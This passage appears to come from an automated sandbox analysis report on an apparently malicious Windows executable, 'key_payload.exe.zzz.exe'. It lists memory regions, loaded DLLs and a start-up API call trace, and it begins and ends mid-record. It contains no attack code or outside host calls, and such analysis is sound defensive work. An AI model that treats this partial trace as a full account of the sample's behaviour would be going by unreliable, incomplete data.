"CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 652 start_va = 0x840000 end_va = 0x85ffff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 653 start_va = 0x860000 end_va = 0x861fff entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 654 start_va = 0x870000 end_va = 0x883fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 655 start_va = 0x890000 end_va = 0x8cffff entry_point = 0x0 region_type = private name = "private_0x0000000000890000" filename = "" Region: id = 656 start_va = 0x8d0000 end_va = 0x9cffff entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 657 start_va = 0x9d0000 end_va = 0x9d3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 658 start_va = 0x9e0000 end_va = 0x9e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 659 start_va = 0x9f0000 end_va = 0x9f1fff entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 660 start_va = 0x1110000 end_va = 0x13eefff entry_point = 0x1110000 region_type = mapped_file name = "key_payload.exe.zzz.exe" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe") Region: id = 661 start_va = 0x77990000 end_va = 0x77b08fff entry_point = 0x77990000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 662 start_va = 0x7f390000 end_va = 0x7f3b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f390000" filename = "" Region: id = 663 start_va = 0x7f3b8000 end_va = 0x7f3bafff entry_point = 0x0 region_type = private name = "private_0x000000007f3b8000" filename = "" Region: id = 664 start_va = 0x7f3bb000 end_va = 0x7f3bbfff entry_point = 0x0 region_type = private name = "private_0x000000007f3bb000" filename = "" Region: id = 665 start_va = 0x7f3be000 end_va = 0x7f3befff entry_point = 0x0 region_type = private name = "private_0x000000007f3be000" filename = "" Region: id = 666 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 667 start_va = 0x7fff0000 end_va = 0x7ffaf7a0ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 668 start_va = 0x7ffaf7a10000 end_va = 0x7ffaf7bd1fff entry_point = 0x7ffaf7a10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 669 start_va = 0x7ffaf7bd2000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffaf7bd2000" filename = "" Region: id = 676 start_va = 0xa20000 end_va = 0xa2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 677 start_va = 0x73040000 end_va = 0x7308efff entry_point = 0x73040000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 678 start_va = 0x73090000 end_va = 0x73102fff entry_point = 0x73090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 679 start_va = 0xb00000 end_va = 0xbfffff entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 680 start_va = 0x73030000 end_va = 0x73037fff entry_point = 0x73030000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 737 start_va = 0x840000 end_va = 0x84ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 738 start_va = 0x850000 end_va = 0x853fff entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 739 start_va = 0x860000 end_va = 0x860fff entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 740 start_va = 0xa00000 end_va = 0xa00fff entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 741 start_va = 0xa10000 end_va = 0xa11fff entry_point = 0xa10000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 742 start_va = 0xa30000 end_va = 0xaedfff entry_point = 0xa30000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 743 start_va = 0xaf0000 end_va = 0xaf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 744 start_va = 0xc00000 end_va = 0xc3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 745 start_va = 0xc40000 end_va = 0xd3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 746 start_va = 0xd40000 end_va = 0xec7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d40000" filename = "" Region: id = 747 start_va = 0xf50000 end_va = 0xf5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 748 start_va = 0xf90000 end_va = 0xf9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f90000" filename = "" Region: id = 749 start_va = 0x13f0000 end_va = 0x1570fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000013f0000" filename = "" Region: id = 750 start_va = 0x1580000 end_va = 0x297ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001580000" filename = "" Region: id = 751 start_va = 0x743a0000 end_va = 0x743c0fff entry_point = 0x743a0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 752 start_va = 0x743d0000 end_va = 0x743f2fff entry_point = 0x743d0000 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\SysWOW64\\winmmbase.dll" (normalized: "c:\\windows\\syswow64\\winmmbase.dll") Region: id = 753 start_va = 0x74400000 end_va = 0x7456afff entry_point = 0x74400000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\gdiplus.dll") Region: id = 754 start_va = 0x74570000 end_va = 0x7458afff entry_point = 0x74570000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 755 start_va = 0x74590000 end_va = 0x745b3fff entry_point = 0x74590000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 756 start_va = 0x745c0000 end_va = 0x74612fff entry_point = 0x745c0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 757 start_va = 0x74620000 end_va = 0x74636fff entry_point = 0x74620000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 758 start_va = 0x74640000 end_va = 0x7465dfff entry_point = 0x74640000 region_type = mapped_file name = "oledlg.dll" filename = "\\Windows\\SysWOW64\\oledlg.dll" (normalized: "c:\\windows\\syswow64\\oledlg.dll") Region: id = 759 start_va = 0x74660000 end_va = 0x746c6fff entry_point = 0x74660000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\SysWOW64\\winspool.drv" (normalized: "c:\\windows\\syswow64\\winspool.drv") Region: id = 760 start_va = 0x746d0000 end_va = 0x748d8fff entry_point = 0x746d0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10240.16384_none_3bccb1ff6bcd1849\\comctl32.dll") Region: id = 761 start_va = 0x748e0000 end_va = 0x748e5fff entry_point = 0x748e0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll") Region: id = 762 start_va = 0x74910000 end_va = 0x74984fff entry_point = 0x74910000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 763 start_va = 0x74a30000 end_va = 0x74a88fff entry_point = 0x74a30000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 764 start_va = 0x74a90000 end_va = 0x74a99fff entry_point = 0x74a90000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 765 start_va = 0x74aa0000 end_va = 0x74abdfff entry_point = 0x74aa0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 766 start_va = 0x74ac0000 end_va = 0x74ac6fff entry_point = 0x74ac0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 767 start_va = 0x74ad0000 end_va = 0x74c0ffff entry_point = 0x74ad0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 768 start_va = 0x74c10000 end_va = 0x74c53fff entry_point = 0x74c10000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 769 start_va = 0x74c60000 end_va = 0x74cdafff entry_point = 0x74c60000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 770 start_va = 0x74ce0000 end_va = 0x74d23fff entry_point = 0x74ce0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 771 start_va = 0x74d30000 end_va = 0x74ea5fff entry_point = 0x74d30000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 772 start_va = 0x74f70000 end_va = 0x75129fff entry_point = 0x74f70000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 773 start_va = 0x75130000 end_va = 0x7521ffff entry_point = 0x75130000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 774 start_va = 0x75220000 end_va = 0x7524afff entry_point = 0x75220000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 775 start_va = 0x752b0000 end_va = 0x752bbfff entry_point = 0x752b0000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 776 start_va = 0x752c0000 end_va = 0x7667efff entry_point = 0x752c0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 777 start_va = 0x76800000 end_va = 0x76cdcfff entry_point = 0x76800000 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 778 start_va = 0x76ce0000 end_va = 0x76d71fff entry_point = 0x76ce0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 779 start_va = 0x76da0000 end_va = 0x76ebffff entry_point = 0x76da0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 780 start_va = 0x76ec0000 end_va = 0x76ec5fff entry_point = 0x76ec0000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 781 start_va = 0x76ed0000 end_va = 0x76f2bfff entry_point = 0x76ed0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 782 start_va = 0x76f30000 end_va = 0x77019fff entry_point = 0x76f30000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 783 start_va = 0x77020000 end_va = 0x77055fff entry_point = 0x77020000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 784 start_va = 0x770b0000 end_va = 0x770f2fff entry_point = 0x770b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 785 start_va = 0x77100000 end_va = 0x7710efff entry_point = 0x77100000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 786 start_va = 0x771d0000 end_va = 0x7725cfff entry_point = 0x771d0000 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 787 start_va = 0x772c0000 end_va = 0x7736bfff entry_point = 0x772c0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 788 start_va = 0x77370000 end_va = 0x774bcfff entry_point = 0x77370000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 789 start_va = 0x778d0000 end_va = 0x7798dfff entry_point = 0x778d0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 790 start_va = 0x7f290000 end_va = 0x7f38ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f290000" filename = "" Region: id = 791 start_va = 0x7f3b5000 end_va = 0x7f3b7fff entry_point = 0x0 region_type = private name = "private_0x000000007f3b5000" filename = "" Region: id = 797 start_va = 0xed0000 end_va = 0xf4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ed0000" filename = "" Region: id = 798 start_va = 0xf60000 end_va = 0xf60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f60000" filename = "" Region: id = 799 start_va = 0xfa0000 end_va = 0x1057fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fa0000" filename = "" Region: id = 800 start_va = 0xf60000 end_va = 0xf63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f60000" filename = "" Region: id = 801 start_va = 0xf70000 end_va = 0xf73fff entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 802 start_va = 0x2980000 end_va = 0x2e71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002980000" filename = "" Region: id = 809 start_va = 0xf80000 end_va = 0xf80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f80000" filename = "" Region: id = 810 start_va = 0x2e80000 end_va = 0x31b6fff entry_point = 0x2e80000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 811 start_va = 0x31c0000 end_va = 0x32bffff entry_point = 0x0 region_type = private name = "private_0x00000000031c0000" filename = "" Region: id = 837 start_va = 0x1060000 end_va = 0x1060fff entry_point = 0x0 region_type = private name = "private_0x0000000001060000" filename = "" Thread: id = 55 os_tid = 0x2e4 [0227.806] GetStartupInfoW (in: lpStartupInfo=0x9cf77c | out: lpStartupInfo=0x9cf77c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0227.807] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0227.807] GetProcAddress (hModule=0x75130000, lpProcName=0x133ad34) returned 0x7514a330 [0227.807] GetProcAddress (hModule=0x75130000, lpProcName="FlsFree") returned 0x7514f400 [0227.807] GetProcAddress (hModule=0x75130000, lpProcName="FlsGetValue") returned 0x75147580 [0227.807] GetProcAddress (hModule=0x75130000, lpProcName="FlsSetValue") returned 0x75149910 [0227.807] GetProcAddress (hModule=0x75130000, lpProcName="InitializeCriticalSectionEx") returned 0x75156030 [0227.807] GetProcAddress (hModule=0x75130000, lpProcName="CreateEventExW") returned 0x75155f90 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="CreateSemaphoreExW") returned 0x75155ff0 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadStackGuarantee") returned 0x7514a5d0 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolTimer") returned 0x7514a690 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolTimer") returned 0x779c40f0 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x779bd630 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolTimer") returned 0x779becf0 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="CreateThreadpoolWait") returned 0x75155720 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="SetThreadpoolWait") returned 0x779be140 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="CloseThreadpoolWait") returned 0x779beb60 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="FlushProcessWriteBuffers") returned 0x779f9990 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x779f5540 [0227.808] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumber") returned 0x779e9dc0 [0227.809] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformation") returned 0x7514a550 [0227.809] GetProcAddress (hModule=0x75130000, lpProcName="CreateSymbolicLinkW") returned 0x75170a40 [0227.809] GetProcAddress (hModule=0x75130000, lpProcName="SetDefaultDllDirectories") returned 0x74e60790 [0227.856] GetProcAddress (hModule=0x75130000, lpProcName="EnumSystemLocalesEx") returned 0x7514f8a0 [0227.856] GetProcAddress (hModule=0x75130000, lpProcName=0x13131e4) returned 0x7514fa30 [0227.856] GetProcAddress (hModule=0x75130000, lpProcName="GetDateFormatEx") returned 0x75171030 [0227.856] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0227.856] GetProcAddress (hModule=0x75130000, lpProcName="GetTimeFormatEx") returned 0x751714b0 [0227.856] GetProcAddress (hModule=0x75130000, lpProcName="GetUserDefaultLocaleName") returned 0x7514a4f0 [0227.857] GetProcAddress (hModule=0x75130000, lpProcName="IsValidLocaleName") returned 0x751716f0 [0227.857] GetProcAddress (hModule=0x75130000, lpProcName="LCMapStringEx") returned 0x75149970 [0227.857] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentPackageId") returned 0x74de3c90 [0227.857] GetProcAddress (hModule=0x75130000, lpProcName="GetTickCount64") returned 0x75148710 [0227.857] GetProcAddress (hModule=0x75130000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0227.857] GetProcAddress (hModule=0x75130000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0227.857] GetCurrentThreadId () returned 0x2e4 [0227.857] GetStartupInfoW (in: lpStartupInfo=0x9cf74c | out: lpStartupInfo=0x9cf74c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x127bca2, hStdOutput=0x8ae7f3b4, hStdError=0x1272227)) [0227.857] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0227.857] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0227.857] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0227.858] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 4032 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" [0227.858] GetEnvironmentStringsW () returned 0xb36b98* [0227.858] FreeEnvironmentStringsW (penv=0xb36b98) returned 1 [0227.858] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1398068, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe")) returned 0x3b [0227.859] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x9cf798 | out: lpSystemTimeAsFileTime=0x9cf798*(dwLowDateTime=0x332228a2, dwHighDateTime=0x1d43869)) [0227.859] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0227.859] GetLastError () returned 0x0 [0227.859] SetLastError (dwErrCode=0x0) [0227.859] GetLastError () returned 0x0 [0227.859] SetLastError (dwErrCode=0x0) [0227.859] GetLastError () returned 0x0 [0227.859] SetLastError (dwErrCode=0x0) [0227.859] GetACP () returned 0x4e4 [0227.859] GetLastError () returned 0x0 [0227.859] SetLastError (dwErrCode=0x0) [0227.859] IsValidCodePage (CodePage=0x4e4) returned 1 [0227.859] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x9cf740 | out: lpCPInfo=0x9cf740) returned 1 [0227.859] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x9cf208 | out: lpCPInfo=0x9cf208) returned 1 [0227.859] GetLastError () returned 0x0 [0227.859] SetLastError (dwErrCode=0x0) [0227.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cf61c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0227.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cf61c, cbMultiByte=256, lpWideCharStr=0x9cef88, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ‿ĨĀ") returned 256 [0227.859] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ‿ĨĀ", cchSrc=256, lpCharType=0x9cf21c | out: lpCharType=0x9cf21c) returned 1 [0227.859] GetLastError () returned 0x0 [0227.859] SetLastError (dwErrCode=0x0) [0227.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cf61c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0227.859] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x9cf61c, cbMultiByte=256, lpWideCharStr=0x9cef58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ") returned 256 [0227.860] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧĨĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0227.860] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 